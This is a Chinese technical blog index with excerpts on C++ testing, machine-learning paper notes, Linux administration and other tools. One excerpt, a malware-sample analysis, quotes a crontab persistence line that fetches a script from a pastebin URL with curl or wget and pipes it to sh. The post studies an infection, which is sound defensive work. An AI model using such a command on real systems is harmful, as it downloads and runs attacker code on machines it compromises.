- 博客(86)
- 收藏
- 关注
RSS订阅原创 【C++】GTEST && google/benchmark工具安装
最近在做一些C++相关事情，用的是C++编译成so库，最后引入到android播放器当中的，为了对C++代码进行快速迭代以及做性能测试，准备引入GTEST一个google出品的C++测试库，以及google/benchmark库用来做性能测试安装找到一种方便的安装方式，不会引入额外的文件总共需要3个cmakelist文件CMakeLists.gtestCMakeLists.benchmarkCMakeLists.txt: 主项目的CMakeLists.txt文件# CMakeLists.g
2021-02-27 17:17:28
1556
原创 交叉熵相关知识
TensorFlow当中的几种交叉熵二分类的交叉熵 bce = tf.keras.losses.BinaryCrossentropy(reduction=tf.losses.Reduction.NONE) bce(tf.constant([[1], [0]]), tf.constant([[0.9], [0.5]]) ) # array([0.10536041, 0.69314694])bce=−1N∑i(yilogpi+(1−yi)log(1−pi))bce = - \frac{1}{N
2020-07-04 16:13:55
338
原创 【安装教程】mac安装thrift0.9.2
安装thrift0.9.2尝试了几种方法，都有各种各样的问题，最终以下面的方法实现了，我觉得算是一种比较好的方式安装过程# 下载brew的安装包包，这个里面包含了大量的安装库git clone https://github.com/Homebrew/homebrew-core.git # 从这个里面找到thrift0.9.2版本git log Formula/thrift.r...
2020-01-23 20:23:55
2419
1
原创 【面试总结】损失函数
损失函数0-1损失L(Y,f(X))={1,Y≠f(X)0,Y=f(X) L(Y, f(X)) = \begin{cases} 1, & Y \not= f(X) \\ 0, & Y = f(X) \end{cases} L(Y,f(X))={1,0,Y=f(X)Y=f(X)直接对应分类判断错误的个数，但是是一个非凸函数，不太好用感知机使用的就是这种损失函数，...
2019-12-29 14:04:03
816
原创 推荐系统衡量指标总结
论文相关最近在看推荐系统相关的一些论文和文章，将一些较好的资源和论文放在这里记录一下https://zhuanlan.zhihu.com/p/52169807讲述了youtube推荐系统的精妙之处https://zhuanlan.zhihu.com/p/61827629（https://mp.weixin.qq.com/s?__biz=MjM5ODkzMzMwMQ==&mi...
2019-12-28 11:13:03
490
原创 【论文笔记】AliMe Assist阿里小蜜（未完。。。）
阿里小蜜提供了三种服务助手服务客户服务聊天服务支持多轮交互2 系统总览给出一个问题q，首先传输到一个商业规则解析器当中，如果没有匹配到任何规则，那么将会被送到意图分类器当中...
2019-12-25 21:14:05
549
原创 【论文笔记】AliMe: seq2seq && IR
论文AliMe Chat: A sequence to Sequence and Rerank based Chatbot Engine讲的是如何做开放领域的聊天机器人这篇文章的主要核心思想是结合IR（信息检索）和 seq2seq（生成模型）去做当用户来了一个问题之后，通过IR系统在QA知识库当中检索出来一个候选答案的集合：<qkbi,ri>i=1k(k=10) <...
2019-12-25 19:40:35
422
原创 【shell精巧】一个20行shell写的马尔科夫链
马尔科夫链最近看了一篇文章，用二十行shell写的一个马尔科夫链正好自己比较喜欢shell，现在摘录下来代码mrkfeed.awk： 这个用来成一个模型文件。./mrkfeed.awk < chatlog.txt >> model.mrkdb#!/usr/bin/awk -f{ for(i=1; i<NF; i++) { print $i, $(i...
2019-12-21 21:18:35
175
原创 Kappa检测方法
kappa检测方法评价相关性的一种指标Simple Kappa Coefficient（简单kappa系数）Clinician 1看做真实分布，Clinician2看做预测分布实际一致率与随机一致率是否有显著的差别Kappa=Po−Pe1−Pe;Po=a+dn;Pe=(a+b)(a+c)+(c+d)(b+d)n2 Kappa = \frac{P_o - P_e}{1 - P_e}...
2019-12-17 10:21:51
4146
原创 【论文笔记】TDNN：两阶段深度神经网络给无主题的作文评分
无主题作文打分国内的人写的针对于无法获取主题的作文进行评分缺乏主题相关的作文数据进行训练主要思想：第一阶段用来生成训练样本，在每个主题里面都选出好的样本，和不好的样本，注意使用跟主题无关的模型来做第二阶段用来训练一个跟主题有关的模型：这里的主题是指本身自己的语义主题，而非给出的主题，当然不只是主题有关，又有语法相关，句法相关，语义相关。这里使用深度模型来做，训练数据就是第一阶段生...
2019-12-16 20:56:18
657
原创 【论文笔记】A model of coherence based on Distributed Sentence Representation
基于连贯性任务的句子向量表示这篇文章想找出一种高效的句子的向量表示使用了文章连贯性的任务来训练对比了两种句子向量表示Recurrent Sentence Representation: 就是正常的循环神经网络，使用最后一个隐含层的状态ht=f(Vrecurrentht−1+Wrecurrentewt+brecurrent) h_t = f(V_{recurrent} h_{t-1}...
2019-12-16 17:02:28
355
1
原创 【论文笔记】A Neural Approach to Automated Essay Scoring
作文自动评分通常都是手工收集特征，使用回归方法去预测分数4 模型lookup table layer: embedding 层，使用预训练好的词向量Convolution layer: 卷积层，提取局部特征Recurrent layer: LSTM层Mean over time: 所有隐含层状态平均Linear layer with Sigmoid activation: de...
2019-12-16 14:27:04
873
原创 【论文笔记】GRU4Rec基于session的推荐系统
GRU4Rec论文： session-based recommendations with recurrent neural networks真实世界推荐系统通常面临的数据是 短的 基于session的数据， 而不是很长的用户历史记录2.1 相关工作这篇论文是针对一种特定情况的推荐系统，关于用户的信息比较少，或者没有通常会推荐相似的素材。或者在同一个session当中共现的最多的...
2019-12-14 20:17:14
5492
1
原创 【论文笔记】XGBoost论文阅读笔记
2. xgboost模型L(t)=∑i=1nl(yi,y^i(t−1)+ft(xi))+Ω(ft) L^{(t)} = \sum_{i=1}^n l(y_i, \hat y_i^{(t-1)} + f_t (x_i) ) + \Omega(f_t) L(t)=i=1∑nl(yi,y^i(t−1)+ft(xi))+Ω(ft)损失函数二阶泰勒展开L(t)=∑i=1n[l(yi,y^...
2019-12-14 17:48:01
212
原创 leetcode动态规划相关
完全背包问题1. 零钱兑换给定不同面额的硬币和一个总金额。写出函数来计算可以凑成总金额的硬币组合数。假设每一种面额的硬币有无限个。输入: amount = 5, coins = [1, 2, 5]输出: 4解释: 有四种方式可以凑成总金额:5=55=2+2+15=2+1+1+15=1+1+1+1+1理解其中的递推公式dp[i][j] = dp[i-1][j] + dp...
2019-12-08 17:39:22
173
原创 Leetcode刷题总结（近期更新中）
C++比较器的构建在使用标准库当中的sort的时候，如何构建比较函数，方法有很多，这是其中的一种，还有比如说比较运算的重载题目179bool sless(const string& a, const string& b) { return (a+b) > (b+a);}class Solution {public: string larges...
2019-11-23 19:46:07
170
原创 配置tensor2tensor在GPU上面运行
1. tensor2tensor运行在GPU上面的简单总结首先测试tensorflow的简单程序能否运行在GPU上面，执行下面的代码import tensorflow as tfwith tf.device('/device:GPU:0'): a = tf.constant([1.0, 2.0, 3.0, 4.0, 5.0, 6.0], shape=[2, 3], name='...
2019-09-19 14:56:10
807
原创 【ffmpeg】音频+图片合成视频
ffmpeg音频转码为视频需求：将一段音频和一张图片合成一个视频难点：可能在IOS的小程序里面无法播放盲点：如果一直测试一个视频，一定要清除微信的缓存，记住是微信的缓存！！！其他：如果图片的长宽有奇数，一定要先转成都是偶数！！# https://blog.csdn.net/wangshuainan/article/details/77914508function mp3tomp4(...
2019-07-19 21:45:08
4870
原创 HMM隐马尔科夫模型学习笔记（未完）
先搞明白，是做什么的，怎么用隐马尔可夫链可见链隐性链隐马尔科夫三大问题知道骰子有几种（隐含状态数量），每种骰子是什么（转换概率）根据骰子投掷的结果（可见状态链），我想知道每次投掷出来的都是那种骰子（隐含状态链）知道骰子有几种（隐含状态数量），每种骰子是什么（转换概率）根据筛子投掷的结果（可见状态链），我想知道投掷出这个结果的概率知道骰子有几种（隐含状态数量）...
2019-06-23 12:34:10
228
原创 C++调试工具（未完）
C++调试相关命令ld.so.conf: https://blog.csdn.net/Bruce_0712/article/details/78816790相关的命令arnm # 目标格式文件分析，所以也可以分析.a文件, .o .so 文件pstack # 跟踪进程栈strace # 跟踪进程中的系统调用objdump # 二进制文...
2019-06-22 11:33:23
1004
原创 docker拉取google镜像 && 修改镜像的存储目录
修改docker镜像存储目录默认情况下docker镜像存储在/var/lib/docker。这样会占用大量的根目录下面的空间。通常不会有什么问题，如果你的根目录的分区比较小，而且经常使用docker，建议更换其他的目录存放方法有很多，这里讲述我使用的办法在这个文件/etc/sysconfig/docker添加# 创建docker镜像存储目录mkdir /data/docker &amp;amp...
2019-05-26 18:26:35
763
原创 默认网关与默认路由
顾名思义，网关（Gateway）就是一个网络连接到另一个网络的“关口”。 按照不同的分类标准，网关也有很多种。TCP/IP协议里的网关是最常用的，在这里我们 所讲的“网关”均指TCP/IP协议下的网关。那么网关到底是什么呢？网关实质上是一个网络通向其他网络的IP地址。比如有网络A和网络B，网络A的IP地址范围为“192.168.1.1~192. 168.1.254”，子网掩码为255.
2019-05-26 18:22:50
13011
2
原创 Emacs快捷键 && Lispbox相关的快捷键
移动C-v #翻页M-v #回翻页C-p:C-n:C-b:C-f:C-l:M-f #以单词为单位移动M-b #C-a #移至行头C-e #移至行尾M-a #移至句头M-e #移至句尾C-#移至全文头C-> #移至
2019-05-26 18:14:11
261
原创 Hadoop小问题
hadoop集群无法关闭HADOOP_PID_DIR 没有设置默认/tmp ，导致进程id被删除，hadoop-env.sh 设置，另外最好也配置一下YARN_PID_DIR 在yarn-env.shURI has an authority componenthadoop java.lang.IllegalArgumentException: URI has an authorit
2019-05-26 18:11:40
254
原创 iptables
iptables简介netfilter/iptables（简称为iptables）组成Linux平台下的包过滤防火墙，与大多数的Linux软件一样，这个包过滤防火墙是免费的，它可以代替昂贵的商业防火墙解决方案，完成封包过滤、封包重定向和网络地址转换（NAT）等功能。iptables基础规则（rules）其实就是网络管理员预定义的条件，规则一般的定义为“如果数据包头符合这样的条件，就
2019-05-26 17:58:59
174
原创 openssl方法以及原理
基础概念对称加密: 一个密码加密，同样的密码解密非对称加密：一个密码加密，另一个密码解密（公钥，私钥）素数积求因子公钥加密，私钥解密的情况通常被称为加密解密私钥加密，公钥解密的情况被称为签名和验证签名注：公钥是给别人用的，别人用来加密。私钥是给自己用的，用来给自己的文件写上签名。RSA/DSA/SHA/MD5非对称加密算法RSA: RSA可以用与加密解密，也可...
2019-05-26 17:56:17
610
原创 Linux启动流程
加载BIOS的硬件信息与进行自我测试，并依据设置取得第一个可启动的设备 读取并执行第一个启动设备内MBR的boot Loader（即是grub，spfdisk等程序） 依据boot loader的设置加载Kernel，Kernel会开始检测硬件与加载驱动程序 在硬件驱动成功后，Kernel会主动调用init进程，而init会取得run-level信息 init执行/etc/rc.d/rc/
2019-05-26 17:49:59
146
原创 centOS运行级别
Linux系统7个运行级别运行级别0：系统停机状态，系统默认运行级别不能设为0，否则不能正常启动 运行级别1：单用户工作状态，root权限，用于系统维护，禁止远程登录 运行级别2：多用户状态（没有NFS） 运行级别3：完全的多用户状态（有NFS），登陆后进入控制台命令行模式 运行级别4：系统未使用，保留 运行级别5：X11控制台，登录后进入图形GUI模式 运行级别6：系统正常关闭并
2019-05-26 17:47:10
471
原创 centOS清理内存
drop_caches在Documentation/sysctl/vm.txt中有如下描述:drop_caches:Writing to this will cause the kernel to drop clean caches, dentries and inodes from memory, causing that memory to become free.# To f
2019-05-26 17:44:42
4589
原创 python基础教程读书笔记
获取输入 x=input(“x:”) input函数会假设用户使用的是合法的python表达式 模块 import math math.floor(32.9)future模块拼接字符串： +连接字符串字符串表示，str和repr str: 将字符串转化为合理的形式，便于用户阅读 repr： 以合法的Python形式，表示input： 要求用户输入合法的P
2019-05-26 17:29:10
566
原创 python相关的琐碎知识
Python多版本共存之pyenv http://seisman.info/python-pyenv.htmlPython多版本切换工具-Pyenv\virtualenv及Anaconda科学计算环境的配置 https://segmentfault.com/a/1190000004020387?utm_source=tuicool&utm_medium=referral
2019-05-26 17:15:50
309
原创 VIM技巧升级
移动% //匹配括号移动* //移动到光标所在单词下一个# //上一个nG //移动到第n行0^$g_ //移动至行的最后一个字符fa //到下一个为a的字符处t， //到，号前的第一个字符3fa //在当前行查找第三个出现的aF T //和上面的方向相反dt" //删除到"为止# http://coolshell.cn/art
2019-05-26 16:58:05
169
原创 病毒样本
crontab可疑行# crontab脚本，删掉后会自动重写*/23 * * * * (curl -fsSL https://pastebin.com/raw/qbbSdzZd||wget -q -O- https://pastebin.com/raw/qbbSdzZd)|sh查看其中的qbbSdzZd文件> wget https://pastebin.com/raw/qbbS...
2019-05-26 16:44:28
4442
转载 LSTM简单的例子
LSTM生成评论的例子使用前10个字推出后面的1个字import numpyfrom keras.models import Sequentialfrom keras.layers import Dense, Dropout, LSTMfrom keras.callbacks import ModelCheckpointfrom keras.utils import np_utils...
2019-05-12 16:03:53
6431
原创 m3u8视频处理Android vs IOS
MP4转换m3u8格式mp4="KIDS REACT TO ROTARY PHONES-XkuirEweZvM.mp4"m3u8=$(echo ${mp4} | sed "s|mp4|m3u8|g")# 切分视频代码里面用的ffmpeg -i "${mp4}" -codec: copy -start_number 0 -hls_time 10 -hls_list_size 0 -f hl...
2019-04-08 23:57:37
4443
原创 Elasticsearch随机检索&&嵌套文档检索
ElasticSearch随机检索文档随机检索数据：https://www.sojson.com/blog/212.html{ "from": 0, "size": 200, "_source": [ "title", "location" ], "sort": { "_script": { ...
2019-04-02 23:44:19
1012
原创 k8s近期使用感想（未完，待补充）
以前nginx + docker(grpc_svc) + 重启脚本之前使用写了一些服务，通过nginx转发grpc请求转到这些服务上面。但是服务总会存在这样或者那样的问题，会崩掉。虽然是可以使用监控脚本监控服务，挂掉了自动拉起，但是总归会有一段时间服务不可用，因为nginx转发到了坏的服务上面。要在每一台机器上面安装docker，安装重启脚本nginx + docker(grpc_sv...
2019-03-10 00:10:24
487
原创 mosesdecoder安装教程
一、mosesdecoder安装过程1. 安装系统依赖的库# centOS操作系统yum install -y tmux gcc gcc-c++ hunspell hunspell-devel git subversion make cmake zlib-devel boost-devel ImageMagick cpan expat-devel automake python-devel...
2019-03-09 23:33:22
1619
1
原创 Linux crond
crond是Linux用来定期执行程序的命令。当安装完成操作系统之后，默认便会启动此任务调度命令。crond命令每分锺会定期检查是否有要执行的工作，如果有 要执行的工作便会自动执行该工作。而Linux任务调度的工作主要分为以下两类：1、系统执行的工作：系统周期性所要执行的工作，如备份系统数据、清理缓存2、个人执行的工作：某个用户定期要做的工作，例如每隔10分钟检查邮件服务器是 否有新信，这
2019-03-02 10:15:17
380
原创 pandas读书笔记--数据规整化
合并数据集数据库风格的DataFrame合并## merge 默认总是copy，产生新对象df1 = DataFrame({'key':['b','b','a','c','a','a','b'],'data1':range(7)})df2 = DataFrame({'key':['a','b','d'],'data2':range(3)})# merge会将重叠的列名当做键，
2019-03-02 10:11:53
251
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人